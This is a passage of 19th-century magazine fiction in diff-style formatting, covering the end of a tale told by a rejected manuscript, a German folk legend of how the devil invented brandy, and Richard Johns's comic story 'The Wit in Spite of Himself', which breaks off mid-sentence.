+from the things by which I was so unhappily surrounded, and remained
+the rest of the way in dignified stillness. My wounded feelings were
+somewhat soothed by observing the awe, mingled with curiosity, with
+which I was regarded; and somewhat amused by the perfumer's genteel
+account turning its back on the butcher's bill, and the lady of the
+pink and blonde squeezing herself into a corner to avoid contact with
+a housemaid. The schoolboy alone was at perfect liberty,--and a great
+annoyance he was,--evidently delighting to jumble us all together by
+a single jump, and constantly peering at my seal, trying to read my
+address, and touching my embossed and gilded edges.
+
+At length we reached our district, and that nervous sound, the
+postman's rap, was heard in rapid succession down the street; heads
+were popped out at windows, and doors were opened, and pence ready,
+before we reached. Out hopped the housemaid, out jumped the school-boy;
+and, as my fellow-travellers departed, I sank gradually lower, until I
+arrived among the genteel-looking letters I had spied at a distance; a
+slight shuffle was perceptible among them: their black and red seals
+were erected with great gravity, and my pink dye became almost crimson
+when I found that, from the gaiety of my attire, they evidently thought
+me "no better than I should be;" however I had scarcely time to feel
+uneasy, so swift were our evolutions, and so completely were we all
+turned topsy-turvy every time the postman's hand was introduced among
+us, and that was every minute; the big-wigs lost their dignity, and
+as to me, I felt my seal crack like a lady's stay-lace; I thought my
+envelope was torn away, and that I myself would have been displayed.
+Shocked at the very idea of such a catastrophe, I sank senseless to the
+bottom of the bag, and only recovered on being violently shaken from
+it, and hearing my brutal conductor exclaim: "Why, here it is, to be
+sure; and if it isn't the walentine itself, I declare!" He seized his
+pence, and, folding up his empty bag, strode off.
+
+I found myself in the hands of a respectable man-servant out of livery,
+who, after having examined me with a look of surprise, introduced me
+up stairs into rather a dark and heavy drawing-room, with, however,
+a cheerful fire, bookcases, and portraits of distinguished authors.
+I lay for some time on a circular table, which was covered with
+newspapers and periodicals: there was a dead silence; if I had had a
+heart, it would have beaten audibly. At length a side-door opened,
+and a young gentleman stept in from an adjoining room; he glanced his
+eyes over the table, evidently in search of letters from the post;
+and, when he saw me, he smiled, and, picking me up, carried me into
+the room he had just left. I am sure he must have felt me tremble in
+his grasp. In this apartment, the only furniture was chairs and three
+writing-tables, the two smaller of which were occupied by my bearer and
+another young gentleman; but at that in the centre was seated a grave
+elderly personage, rather large in person, with bushy eyebrows, and
+keen penetrating eyes. I, who was extremely ignorant at that time, and
+had heard much of the knowledge, power, and dignity of the Half-yearly,
+without exactly knowing what it was, took this gentlemen for it
+himself. My introducer held me up to his young companion, and a stifled
+laugh passed between them; but, recovering his gravity, he laid me on
+the Half-yearly's desk, as near under his spectacles as he could bring
+me without interrupting his pen. The old gentleman started, frowned,
+and, lowering his head, looked at me from above his spectacles, (an
+awful way of looking, as is well known,) inquiring gruffly, "What's
+this?" "A letter by the twopenny, sir; a lady's verses I should think,
+by its appearance." "D---- ladies' verses! Take it away." "Shall _we_
+open it, sir?" "Don't pester me!" and in an instant afterwards he was
+lost in his important meditations.
+
+The two young gentlemen cut round my seal, and perused the note of the
+Fair Unknown, with tears--but not of sympathy. _I_ was then taken up,
+and passages here and there recited in an under-tone with mock gravity,
+eliciting, in spite of their dread of their superior, bursts of
+irrepressible laughter: these, at last, attracted his attention, and,
+looking over his shoulder, he angrily inquired what they were about.
+"Pray, sir, do look at this! it is quite a curiosity;" and my note was
+handed to him.
+
+"A fair unknown, with that modesty which ever accompanies genius; with
+faltering accent, timid step, and eyes that seek the ground, presumes
+to lay at the feet of the great Half-yearly the first-born of her
+imagination! She prays him not to spurn the babe; but to take it,
+cherish it, and usher it into the world!--It is his own!"
+
+"Mine!" exclaimed the Half-yearly, settling his wig; "I hope she does
+not mean to swear it to me; such scrapes are marvellously difficult to
+get out of. Wafer up the babe, if you please, gentlemen, in a sheet
+of foolscap, (its proper swaddling band,) and add a sentence to our
+Notices to Correspondents."
+
+In a few weeks after this memorable scene, my young and tender parent
+was at breakfast with her family, when her father entered, carrying a
+new Half-yearly, with leaves uncut, and hot from the press, under his
+arm. My mother's heart leaped in her bosom, her face became scarlet,
+and her mouthful of bread and butter nearly choked her. Her father
+dawdled a little over the advertisements and answers to correspondents:
+at the latter he smiled. "What amuses you, sir?" inquired his anxious
+daughter in a tone of forced calmness: he read, "A Fair Unknown is
+earnestly requested to send for her babe immediately; the Half-yearly
+having no intention of cherishing, fostering, furthering, or fathering
+it in any way whatever." It was well for his thunderstricken auditor
+that the reader became immediately too much absorbed in a political
+paper to notice the effect of this appalling blow. She made her escape
+unobserved: I was instantly sent for, torn from my coarse envelope, and
+pressed to her agonised bosom.
+
+Her four friends had returned to school, she could not therefore have
+the benefit of their advice and condolence; and, to tell truth, she
+did not appear much to regret this circumstance,--the mortification of
+their presence would have been too great.
+
+Betty was not even let into the secret: I was placed in a plain white
+envelope, accompanied by a note much less romantic than the first,
+addressed to a Monthly; and, being sealed with a more respectable and
+well-behaved seal, she hid me in her muff, and dropped me herself into
+the same dirty box as before.
+
+The Monthly was not nearly so terrible a person as the Half-yearly.
+He was not at home on my arrival in the evening, and I was laid
+with several other very literary-looking letters on a table in his
+dressing-room, near a good fire, with a lamp ready to light, a pair of
+slippers on the hearth-rug, and a large easy chair with a dressing-gown
+thrown over it. All this looked sociable and comfortable; and, feeling
+quite in spirits, I curtsied respectfully to a moral paper, shook hands
+with a political argument, chatted with a _jeu d'esprit_, and flirted
+with a sonnet.
+
+The Monthly returned home about midnight in exceeding good humour,
+humming an opera tune; he lit his lamp, donned his dressing-gown,
+thrust his feet into his slippers, and, having mused a little while
+over the fire, ventured a glance at the table. "The deuce take it,
+what a lot there are of them!" he exclaimed; "politics, morality,
+and poetry I am not fit for to-night, that's very clear; something
+entertaining--what's this?" (taking up me)--"a woman's hand--prose--a
+tale--just the very thing!" and forthwith I was begun.
+
+Reader, can you imagine--no, you cannot, so there is no use in
+appealing to your sympathy--the state of agitation I was in? He read
+amazingly fast, and hummed and ha'ed as he proceeded; and, to my utter
+astonishment, at one of my most pathetic appeals he burst into a fit
+of laughter: in short--I grieve to say it--but I fear the Monthly, as
+indeed he himself had hinted, had indulged a little too freely,--had
+taken a little drop too much; for, soon after this unaccountable
+explosion of merriment, he yawned, settled himself more decidedly in
+his chair, read very much slower, and at last, on observing that he
+turned over two of my pages at once without finding it out, I ventured
+to look up, and, behold! his eyes were closing,--sleep was creeping
+over him! I lay aghast, every moment inclining more and more backwards,
+till I reposed upon his knee. The pangs of wounded pride, acute as they
+were, began to give way to apprehensions of the most serious nature;
+his hold momentarily relaxed, and at length I fell--fell over the
+fender, reader! and there I lay, roasting like a Spanish priest cooked
+by a French soldier, (the French, they say, are excellent cooks,) until
+he should discover the hidden treasures of his monastery.
+
+Alas! I thought my treasures were lost for ever to the literary world!
+There they lay, scorching and melting, until at last fortunately a
+cinder, inspired no doubt by the Muses, leapt out to my protection,
+and, by destroying a small portion, saved the remainder; for the smell
+of fire became so strong, that a servant, who had just let himself into
+the house from a high-life-below-stairs party, came rushing in with a
+nose extended to its utmost width, rousing and alarming his sleeping
+master. "Deuce take it!" exclaimed the Monthly on perceiving me, "in
+ten minutes more we should have been all set on fire by this d--d
+_soporific_ (I think that is what he called me). Who would have thought
+it had spirit enough to burn!" The next morning I was despatched home,
+without a single line, not even an apology, for my miserable condition.
+
+The curse of Cain was upon me: my own mother (who had become engaged
+in the creation of another offspring) received me with mortifying
+coolness, and beheld my burnt and disfigured tale with horror and
+contempt. She gave up all thoughts of the London annuals, (her new pet
+was intended for one of them,) and, having coarsely repaired me, I was
+put into the general post, addressed to a country annual, the "Rosebud"
+of Diddle-town.
+
+The glowing aspirations of youth were chilled, misfortune had set
+her seal upon me; but, although hope was diminished, pride remained
+unquelled, for, as I glided over high-ways, and jolted over by-ways,
+in the Diddle-town coach, I recalled to my recollection all that I had
+heard (especially while I lay smothered up for six weeks on the learned
+Half-yearly's table) of the many great luminaries of literature who
+had struggled into light and life through the dark and chilling mists
+of neglect, ignorance, and envy. I had no doubt but that I should yet
+burst forth from my cloud, astonishing and dazzling the weak eyes which
+had hitherto refused to encounter, or were incapable of dwelling upon,
+my beauty and brilliancy.
+
+On being presented to the Diddle-town editor, he immediately seized
+upon me with great glee, and carried me off, without reading me, to
+the printer's devil; and, to my utter astonishment, I found myself
+in the process of printing an hour after my arrival. Although this
+consummation had long been devoutly wished, I cannot say I was much
+flattered at its mode.
+
+I appeared in the "Rosebud" of Diddle-town. The editor gave out that
+I was the production of a celebrated lady-author, anonymous on the
+occasion to all but him. I was demurely listened to by a coterie of
+old maids, who, on my conclusion, curtsied to the reader and curtsied
+to each other, sighed, and inquired if there were a picture; I was
+hummed over by two or three lazy half-pay officers; I was spelt over
+by a cottage-full of young lace-makers; and I was wept over by the
+Diddle-town milliners' apprentice girls.
+
+But my desire for a larger and nobler sphere of action can no longer be
+suppressed: I am determined to make known that I exist, and to inform
+the reading world, and all who, like many great philosophers of old,
+are eager to seek what they are never likely to find, that the Tale of
+Seraphina reposes in all its neglected sweetness, and unappreciated,
+because unappreciable beauty, on the leaves of the "Rosebud" of
+Diddle-town.
+
+
+
+
+WHEN AND WHY THE DEVIL INVENTED BRANDY.
+
+A POPULAR TRADITION FROM THE DUCHY OF SAXE-MEININGEN; TRANSLATED FOR
+THE BENEFIT OF THE TEMPERANCE SOCIETIES.[30]
+
+
+Many years ago, our village (Steinbach) and Winterstein (in the Duchy
+of Saxe-Gotha) disputed about the common boundaries. Witnesses were
+called from both sides; but the dispute could not be brought to an end,
+because each of them spoke in favour of his own village. Amongst these
+witnesses were two men,--the one a native of Steinbach, and the other
+of Winterstein,--who had been instructed in magic by the devil, to whom
+they had sold their souls.
+
+These two men in one and the same night conceived a resolution to erect
+false boundary-stones, to which they intended to give an appearance of
+antiquity by the help of magic, so that people might suppose they had
+stood there, for many years. Both of them, in the figures of fiery men,
+went up the hill where was the boundary in dispute. Neither of them
+knew of the intentions of the other. When they met on the hill, he who
+arrived the last, asked the other,
+
+"What he was doing there?"
+
+"That is no concern of yours!" answered this; "tell me first what _you_
+are doing here?"
+
+"I will place boundary-stones, and settle the limits as they ought to
+be."
+
+"That I have done already, and there you see the stones; and, as the
+stones go, so goes the boundary."
+
+"You are wrong, for the boundary goes this way; and my master told me
+that I was in the right."
+
+"Pray, who is your master? A fine gentleman must he be!"
+
+"My master is the devil. Are you satisfied now? and do you feel respect
+for me?"
+
+"That is a lie! for the devil is _my_ master; and he told me that I was
+right: and, therefore, get off as quick as you can, or you shall see!"
+
+So saying, they threw themselves upon each other; but the man of our
+village proved too strong for the other, to whom he gave such a blow on
+the mouth that his head flew off and rolled down the hill. The fiery
+man without a head quickly ran after it to catch it, and fix it on
+again; but he did not succeed in doing so before he arrived at the spot
+where the little brook, which flows down the hill, enters the Emse.
+
+Meanwhile, our man, who gave the blow, looked from the hill how the
+other chased his own head, when on a sudden a third fiery man stood
+before him, who asked,
+
+"What he had done there?"
+
+"That is no concern of yours!" answered our man; "and, if you do not go
+your ways immediately, I'll treat you just as I have the other."
+
+"Have you no more respect for me? and don't you know that I am your
+master, the devil?"
+
+"And, if you are the devil himself, I care not a straw for you! Go to
+h--!"
+
+"And that I'll do," said the devil; "but not without you."
+
+Thus saying, the devil stooped to carry him away on his shoulders; but
+our man, watching his opportunity, caught his neck between his two
+legs, and then, laying his hands on him, and holding him down to the
+ground, he said,
+
+"Now you are in my power; and now you shall feel what my hands are able
+to do. You have during your life broken the neck of many a poor man;
+you shall now learn yourself how it feels!"
+
+Thus saying, he set about to screw the devil's neck round with all his
+might; but, when the devil saw that our man was in earnest, he gave
+him good words, and prayed him not to do so, and not to smother him,
+promising to do anything he might require.
+
+"As I hear you speaking so piteously," said our man, "I'll let you
+loose; but not before you have returned to me the bond by which I
+sold you my soul. And, moreover, you must swear to me by your own
+grandmother, not to claim any part in me; and, during all your life
+hereafter, never to take any man's bond for his soul."
+
+The devil, though not pleased with these conditions, yet, for the
+safety of his own neck, could not but return the bond, and even swear
+by his grandmother what our man had ordered him to do.
+
+But, as soon as the devil found himself free, he jumped on his legs,
+and, retiring a few paces lest the other might take him unawares a
+second time, he said,
+
+"Now I am free; and now I must tell you that, though I have returned
+your bond, and sworn not to claim any part in you, I have not promised
+you not to break your own neck; and that I shall do now, and upon this
+very spot you shall die for having throttled me, and for having been
+about to smother me."
+
+The devil then rushed upon him in order to kill him; but our man ran
+away straight into the wood, the devil after him. But, coming to an old
+beech which was hollow, and had likewise an opening beneath, he quickly
+crept into it and hid himself, and the devil would have certainly
+missed him had not his toe peeped out from the hole; but, his toe being
+all fiery, and glistening through the darkness, the devil found out
+where he had hid himself, and stept near to catch him by the toe. But
+he in the tree, hearing him come, dragged back his toe, and climbed
+higher up. The devil then crept likewise into the tree. The other
+climbed still higher up, and the devil pursued him, until at last our
+man reached another hole high up, through which he crept out. As soon
+as he was out, he quickly shut the hole, and jumped as quickly down to
+fasten the opening below. And this he did with magic, and did it so
+well that the devil himself, nor his grandmother, could have opened
+it. Having performed this, he went his ways.
+
+Thus the devil sat in the old beech-tree, and could not come out,
+though he bethought himself for a long time how to do so. Thus he
+was kept in the beech; and during that time many of our own people,
+when going to Winterstein or coming from it, heard him bleating and
+grunting. At last, amongst a large lot of trees, the old beech was cut
+down, and the devil regained his freedom. The first thing he did was
+to hasten down below, and see how matters stood there. It was as empty
+as a church during the week, and not a single soul was to be heard or
+seen there; for the devil not having returned for so long a while, and
+no one knowing where he was, not a single soul had arrived. And that
+broke the heart of the devil's grandmother, who died with grief; and,
+when she was dead, all the souls who were then there ran away, and went
+straight to heaven. Thus the devil stood quite alone, without knowing
+how to get new souls, for he had forsworn to take the bond of any man
+more, and this was then the only mode in which he would get souls. And
+thus he stood there ruminating, and was near to pull out his horns from
+his head with grief and despair, when he hit upon an idea. While he had
+been in his beech, which stood on the old Hart-place, he had, to while
+away his time, bethought himself of many things, and amongst others he
+invented brandy. That he remembered in the midst of his grief, and he
+conceived at once it would be the best means of getting hold of new
+souls.
+
+He immediately went to Nordhausen, and made himself a distiller; and
+burnt brandy as much as he could, which he sent into all the world. And
+he showed to all the men of Nordhausen how brandy was made, promising
+them great riches if they learnt it, and made brandy like him. And the
+men of Nordhausen did not oblige him to say it twice, for they all
+became distillers, and made brandy like him. And thus it happened that
+to the present day there is no other place in the world where there is
+so much of brandy burned as at Nordhausen.[31]
+
+And so it turned out as the devil expected. Whenever people got a
+little brandy into their stomachs they began to swear, and d--d their
+souls to the devil; so that the devil got them when they were dead
+without taking any bond from them, and without serving them, as he was
+obliged to do before, when he sought a man's soul. When the brandy rose
+into their heads, they collared each other, and fought, and broke their
+necks; so that the devil was saved all the trouble he had had before in
+wringing them. And, if the devil had had before the greatest pains to
+be imagined in order to get a poor soul a week for his hell, they came
+now by their own accord by dozens and scores every day; and scarcely a
+year passed before hell was too small to hold them. The devil was then
+obliged to build a new hell at the side of the old one, for the sake of
+giving them accommodation.
+
+In one word, since the devil got loose from the beech on the
+Hart-place, since that time brandy was introduced into the world; and,
+since we have brandy, it may be said "that the devil is loosened," as
+our proverb goes.
+
+FOOTNOTES:
+
+[Footnote 30: Germany is very rich in popular traditions. The
+nursery-tales collected by the brothers Grimm are known in this country
+by two translations. The present tale is written in the very words of
+an inhabitant of Steinbach, situate in Saxe-Meiningen, at one mile's
+distance from the watering-place of Liebenstein, and containing two
+hundred and seventy houses, with one thousand three hundred and thirty
+inhabitants, amongst whom are a hundred and sixty cutlers, and eighty
+lock-smiths. The inhabitants participate in the principal fancies of
+those regions,--singing-birds, flowers, song, and music. The music
+bands of Steinbach are some of the best of Germany, and are the delight
+of its principal fairs. In our translation we have kept as close as
+possible to the words of the man who related it.]
+
+[Footnote 31: Literally true.]
+
+
+
+
+THE WIT IN SPITE OF HIMSELF.
+
+BY RICHARD JOHNS.
+
+
+Reader, are you a wit? If so, are you a whit the better for so being?
+
+The mere imputation of being a facetious fellow has cost me so dearly,
+that I can well imagine what fearful consequences the actual possession
+of a real patent from the court of Momus involves. For mine own part,
+I may truly say _my_ offences against the gravity of society ought to
+have been denominated accidents. Unwittingly have I offended: I have
+no pretension to the art of "making a good hit," cutting up a private
+acquaintance or a public character, "backbiting," or giving "a slap in
+the face." I am no alchymist at retorts, to be able to transmute the
+missile aimed at me, into a crown of triumph. If I say a sharp thing,
+it is because I did not perceive its point; or I would not have meddled
+with it. I never had the knack of running other men's jokes to death by
+clapping riders to them; and as to mine own, such as they are, any one
+is welcome to the credit of them who will take their responsibilities.
+
+But, ere the speculative reader closes the bargain, let him "listen to
+my tale of woe." My father was a wit and a man of letters: he proved
+his good sense by marrying a fool,--I beg my mother's pardon; she died
+soon after I was born, and I only judge by the character she left
+behind her, to say nothing of her MS. poems and common-place book,
+which I inherited. When ten years of age, I lost my remaining parent,
+he being killed in a duel arising out of a christening-dinner; on
+which occasion he originated the _now_ standing joke of wishing the
+heir "long life to be a better man than his father." The worthy host,
+who was here hinted at, in his relational position, conceiving the
+expression implied not only an impossibility, but an impertinence, my
+progenitor was called out, and incontinently sent home again with a
+hole pinked in his body, which let the existence out of the wittiest
+man of his day. With such an example before my mental eyes of the
+consequences of being a bright ornament of society, is it to be
+wondered that I determined to be the dullest dolt in my school? Alas!
+it was declared by all, that a "Winkings" must be a wit and a clever
+fellow, in spite of my endeavours to prove the contrary.
+
+If I committed the most egregious blunders in my class, there was
+always somebody to say, "Winkings knows better; he is a wag,--a dry
+dog; very like a whale, that he can't answer such a simple question;"
+and the cheek of the "dry dog" was often wetted by tears; and the "wag"
+found the jest no joke; and, if my ignorance was "very like a whale,"
+it was one on mine own shoulders, since, if I really knew better, I
+certainly got the worst of it. I have been flogged one moment for
+pretending to be obtuse, when there was no pretence in the matter; and
+the next, for saying impudent things to the dominie, which I had never
+intended. I unconsciously quizzed the ushers, to mine own disgrace;
+while the writing-master declared, if ever I _did_ write, it must be
+without tuition and by intuition, for I was too busy making the other
+boys laugh, or worrying them till they cried, to attend to my copy.
+Such was my character at a school which I quitted early in my nonage,
+having persuaded my guardians that my education was complete, out
+of sheer compassion to my master. Had I not left his school, there
+was a probability of my being his only scholar, so numerous were the
+complaints from my schoolfellows' parents of "that mischief-making,
+sly, quarrelsome, impudent little scapegrace, Master Sam Winkings,
+who, from all they had heard, seemed quite enough to corrupt a whole
+school." Thus early did my unhappy destiny develope itself; people
+would have it that I was always saying or imagining evil of them,
+setting others by the ears for the fun of the fight, and jesting and
+sneering at all the world holds sacred and respectable.
+
+But in those days unjust accusations were of little consequence to me;
+if strangers belied me, my immediate relatives were then proud of my
+"facetious ways," and my "dry humour,--so like his poor father!" Thus
+lauded and encouraged, matters were at one time going on so pleasantly
+that I had some intention of favouring the deceit my friends seemed
+determined to put on themselves, and, professing myself a wit, take all
+the honours for my fortuitous smart sayings, rather than be accused
+of affectation in eternally denying them. The tables, however, were
+soon turned; and it was well I still stuck to the truth, or disasters
+might have more speedily befallen me. As it was, I in due course of
+time offended matter-of-fact uncles by jests that I was unconscious of;
+shocked the ears of fair cousins by _double entendre_ most unmeaningly;
+and robbed maiden aunts of their good names, when I really meant to
+compliment their virtues.
+
+But I will at once individualize my misfortunes, and I feel assured
+of the reader's sympathy. "Sam," said my uncle John, as he was
+breakfasting with me at my chambers in the Temple, where I did
+_nothing_, with an air of business: having been called to the bar, "I
+want to ask your advice; but you really are such a facetious fellow,
+that you even laugh at a man's misfortunes."
+
+"Indeed, sir, you wrong me," I replied, anxious to justify myself, for
+I was his reputed heir. "Only state your case, and I will give you as
+good advice as if I were your fee'd counsel."
+
+"Well, Sam, you must in the first place know," said the old gentleman,
+"that I shall be obliged to stand an action for assault."
+
+"Sorry for it, uncle: I hope it is not a bad action on your part, or
+we had better----" I was going to add "compromise, rather than go into
+court;" but my worthy relative, who was about one of the most irritable
+men in existence, interrupted me.
+
+"Confound you, sir! when _will_ you leave off your puns? What bad
+action did I ever commit in the whole course of my life?"
+
+"Beg pardon, uncle, you quite misunderstand me," apologised I, wishing
+to explain.
+
+"No, I don't, Sam," retorted he, shaking his head; "your unhappy
+propensity is too well known. But I will forgive you this once; only
+_do_ be serious. I tell you, boy, it may cost me a cool hundred,
+besides expenses."
+
+I again assured him that I was all attention; and as he threw himself
+back in his chair, in preparation for a lengthy detail, I quietly
+continued my breakfast, only occasionally putting in a "Yes," "Truly,"
+"Really," and so on, as Uncle John paused for breath.
+
+"I was down at Brighton last week, as you know, Sam: had a dreadful
+headache, and thought a shower-bath would do me good; so went to
+the new baths. An attendant almost ran against me in the hall.
+'Shower-bath,' said I. 'Yes, sir, in a moment, sir; hot or cold?' 'A
+hot shower-bath!' exclaimed I in the very extremity of surprise. 'I
+am not used to be jested with, young man.' The fellow stared as if
+he did not half understand me; but brushed off, and I walked into
+the waiting-room. My head throbbed with pain, and not a little with
+perplexity at what the fellow could mean by a hot shower-bath; I had
+never heard of such a thing, and thought the rogue was quizzing me.
+Well, Sam, to go on with my story, I was soon ushered into a little
+bathing-room, with its tall sentry-box, by the same man I had at first
+spoken to. 'Get more towels,' said I: there were only three. 'Yes,
+sir,' and away went my gentleman; while I stripped, and shut myself up
+in the bath. For the life of me, I could not muster resolution enough,
+just at first, to pull the string. It is no joke, Sam, to stand the
+shock of a deluge of cold water. I can assure you it always seems to
+make my red face hiss again."
+
+"No doubt, sir," said I inadvertently.
+
+"Young gentleman," slowly enunciated my uncle, drawing himself up to
+his full height in his seat, as if to give greater gravity to his words
+by causing them to fall from an increased altitude, "it is not becoming
+in _you_ to make such a remark, though _I_ may choose to be a little
+facetious on myself. You need not excuse yourself," he added, seeing I
+was about to reply; "it is your infirmity; but your wit will one day be
+your only portion."
+
+What could I do?--I sighed, let Uncle John go on with his narrative,
+and helped myself to an egg.
+
+"Well, nephew, if you can keep from your jokes for a moment, I will
+come at once to the assault. I had at last made up my mind to endure
+the cold shock, so I pulled the cord. Never shall I forget it: down
+came at least six gallons of boiling water! Yes! I am sure it was
+boiling: the fellow had done it to spite me. The rascal was entering
+the room with the towels at that very moment, and I _had_ my revenge. I
+dashed open the door and seized him by the neck. I kicked him, I cuffed
+him; he cried out 'Murder!' 'You ordered hot water, sir!' I called him
+a liar, and knocked his head against the wall."
+
+Here my uncle became so animated, that he seemed inclined to enact
+his story. Reader, I have mentioned that I had helped myself to an
+egg. Now, there has long been a question as to the proper mode of
+boiling eggs. I like them put into cold water: thus, by the heat being
+gradually introduced, the shell is prevented from cracking. My man,
+on the contrary, is for plunging the egg into water at boiling-point.
+Obstinate fellow! his perverseness on this occasion cost me a thousand
+a-year and a house in Lancashire. Uncle John was dashing out his
+hand towards my wig, which, in all the majesty of curls, decorated a
+block on the side-table, no doubt fancying that he was again going to
+throttle the knight of the bath, and I had just discovered my egg-shell
+full of vile slimy fluid, instead of the luxurious yolk and white
+it would have contained had my rascal obeyed directions. Behold the
+consequences! My uncle sprang half out of his seat in the frenzy of
+scalding recollections; while I on the opposite side of the table rose
+in an agony of vexation, exclaiming "Cracked! cracked! D--the fellow,
+always in hot water!"
+
+Reader, did you ever happen to say an ill-natured thing of a person
+whom you supposed to have just left the room, but who, in point of
+fact, not having progressed many yards from the back of your chair,
+suddenly confronts you to thank you for the attention; if so, you may
+imagine my uncle's sarcastic acknowledgments. "Thank you, sir; I am
+very much obliged to you," said the old man, in a moment recovering
+himself from his menacing attitude; "I humbly thank you. Your wit, sir,
+will make your fortune. I am cracked, am I? I am always in hot water?"
+Then, changing his tone as he stalked from his chair to possess himself
+of his hat, he thundered out, "Mr. Samuel Winkings, no longer nephew of
+mine,--if a scurvy jest is all your sympathy for your invalid uncle,
+jeered at and parboiled by a rascally bath waiter, I wish you a very
+good morning!"
+
+In vain I interposed between the old gentleman and the door; I essayed
+to explain; I offered to put myself, my servant, upon oath; he would
+not listen to me. He declared all wits were liars,--that I had provoked
+him past bearing; and away he went, and away went my hopes in that
+quarter. Never did he forgive me. He died last week, and the only
+mention he favours me with, in his will, runs thus: "To Samuel Winkings
+I leave nothing; he can doubtless live by his wit, and I would not
+insult him by making him any other provision."
+
+Though Uncle John had discarded me, still Aunt Jemima, a
+legacy-huntress all her life, could not carry her quarry to earth
+with her. She must in her turn make a bequest; and it was at one time
+thought this would be in my favour, till, in an unluckly hour, I
+irretrievably lost my place in her good graces. Aunt Jem, as she was
+familiarly called by her nephews and nieces, had "great expectations"
+from Miss Julia and Miss Maria Beech, very rich ancient maidens,
+sufficiently her seniors to make it worth while to calculate what
+they would leave behind them. Of course my aunt laid herself out in
+every possible way to conciliate these ladies; indeed, among all their
+acquaintance, her anxiety to please them was only rivalled by a Mr.
+Smith, an elderly gentleman living at Barking, in Essex. He, like
+Aunt Jem, took great pleasure in toadyism, though wealthy enough to
+have afforded himself much more respectable amusements. There was a
+cross-fire of invitations, and a grand struggle every Christmas between
+the lady and gentleman legacy-hunters for the possession of the Misses
+Beech; and, during a stay I was making last year at my aunt's abode in
+Hampshire, I found that, yielding to her superior powers of persuasion,
+the worthy spinsters were her own from the approaching Christmas-eve
+even until Twelfth-day. "Then they positively _must_ go to Mr. Smith;
+he was so pressing, and made _such_ a point of it." This delightful
+announcement was conveyed in a letter to mine aunt, received at
+breakfast-time, and triumphantly read to me.
+
+"They each of them bring their own maid," said the hospitable lady as
+she conned over their epistle; "but I do not mind the expense nor the
+trouble; the Beeches are such pleasant companions. I dare say they
+won't die worth less than twenty thousand pounds apiece. Now I hope you
+intend to make yourself agreeable, Sam. Let us have none of your jests
+and your dry sayings. They are--they are staid, serious persons, and
+don't like such things, but are partial to sensible conversation. If I
+recollect right, the last time Miss Julia was here, she told me she had
+three thousand pounds in the Long Annuities. Both she and her sister
+treat me with the greatest confidence. I only wish they would not go to
+Barking so soon. If we were to make things very agreeable to them, who
+knows, Sam, but they might break their engagement with that mercenary
+Mr. Smith?"
+
+Thus ran on my aunt, while I silently acquiesced in all she said.
+
+"Why, Sam, you do not seem pleased at the prospect of company!"
+
+"Indeed, aunt," replied I, "I was only thinking you would like my
+_room_."
+
+"Will you have _done_ with your jests?" said Aunt Jem, suspecting a
+joke in my literal offer, I knowing that ladies' maids are often more
+fastidious as to their bedchambers than their mistresses.
+
+"It is very provoking," exclaimed I in a pet, "that you always think
+I am making some foolish pun. I only wish to do _my_ part towards
+rendering your guests and their attendants comfortable. You know
+what a fuss they make about their servants; turning the house into a
+hospital for the slightest cold, and talking of 'dear Mr. Smith's cough
+medicine!' I was only thinking what I could do, to keep the Beeches
+from Barking."
+
+I suppose, in my haste to exculpate myself from the charge of punning,
+I could not have taken due care to elongate the _proper_ name of the
+fair spinsters, and, doubtless, it must have sounded a most _improper_
+one in the ears of my aunt; for her little eyes seemed actually to emit
+sparks, as a black cat's back is said to do when ruffled in the dark.
+
+"They are gentlewomen, Mr. Winkings!" cried Aunt Jem, almost choked
+with indignation, "and their attendants are respectable young persons,
+while _you_ are a disgrace to your family. For shame! for shame!"
+emphatically continued the angry lady, interrupting the excuses I
+attempted to make; "I will not listen to you. I beg you will leave my
+house immediately. Your room is indeed most desirable, as you just now
+so wittily remarked. I would not subject my friends to the insolent
+licence of your tongue for worlds!"
+
+Away marched Aunt Jem with the strut of an incensed turkey-cock, and an
+hour afterwards, I was on my way back to London; nor have I ever been
+able to convince my mistaken relative of my innocence, and still do I
+remain under the ban of her displeasure.
+
+It would be wearying the reader to state all I have lost, and all I
+have suffered from the imputation of being a droll; and so I will
+content myself with one more instance of my unhappy fatality.
+
+Not long ago I dined with Lord C----, who, though he certainly does
+not bear the character of being over bright, was still to me a star of
+great promise, seeing that he had given me assurance of provision under
+the operation of the "poor laws' bastard legislation," or some such
+affair, I forget exactly what, since unfortunately it is now no affair
+of mine.
+
+The dinner in question was the only one I ever got out of his lordship,
+who on this occasion merely asked me, I believe, on account of my
+reputation for drollery. In fact, I was intended to be the jack-pudding
+of the company; but I determined to eat much and say little, for fear
+of giving offence. This did not suit his lordship, who considered my
+silence during the early part of the dinner as so much time lost, many
+of the party having been asked to meet the facetious Sam Winkings.
+
+"We have just had a discussion here," smiled Lord C----, in his attempt
+to draw me out, "as to the impossibility of real wit making a rankling
+wound, it being like the clean cut of a razor. For myself, I am but a
+fool in such matters. What do _you_ say, Mr. Winkings?"
+
+"That I am quite of your lordship's opinion," replied I, most
+deferentially.
+
+Here, a fit of coughing went round the table, which might or might not
+have covered a laugh; but looks were exchanged, plainly showing me that
+something was wrong. Little did I think at the time that, in delivering
+myself of my first actual sentence, in my hurry to agree with our host,
+I had called him a noodle. The peer was the only one who indulged in a
+decided cachinnation. Even he did not laugh comfortably; and I began to
+imagine that I had made one of my unlucky hits.
+
+"I beg pardon, my lord; I only meant perfectly to agree with your
+lordship," said I, crossing my knife and fork over a delicious slice
+from a haunch of Southdown, for which my embarrassment had taken away
+all relish.
+
+"Don't mention it, Mr. Winkings," rejoined Lord C----, getting up a
+fresh laugh; "I am sorry I disturbed you till after dinner. You don't
+like 'to eat mutton cold.' How goes the quotation?"
+
+"'And cut blocks with a razor,' my lord," replied I, with the most
+imperturbable gravity.
+
+The sensation was immense. Several of the guests palpably scowled at
+me, as if I had been guilty of an impertinence towards our host. Some
+stifled their risibility, and others laughed outright. Alas! what had
+I done? Just helped him to the remembrance of a quotation which there
+can be no doubt his lordship had forgotten, except as it referred to
+mutton. But I had the reputation for sarcasm, and of course I had made
+a personal attack on Lord C----, who, acting under this impression,
+certainly passed the matter off with a great deal of urbanity.
+
+"Glad you hit him so hard," said a caustic old gentleman on my right.
+"Can't bear to see men of wit asked to be funny. My lord had much
+better have let well alone."
+
+"In the name of Heaven, sir," cried I, almost at my wits' end, "what
+_have_ I done?"
+
+"Ah, you're a wag," said the caustic old gentleman.
+
+"Indeed, sir, I am not a wag, but the most unfortunate individual in
+the world."
+
+My neighbour was convulsed with laughter; and it was not until we left
+my lord's house after that luckless dinner that I elicited from him the
+particulars of my offence. His lordship has, like my uncle and aunt,
+of course, left me to live by my wits; fortunately, my caustic little
+friend thinks they will stand me in excellent stead. He has taken
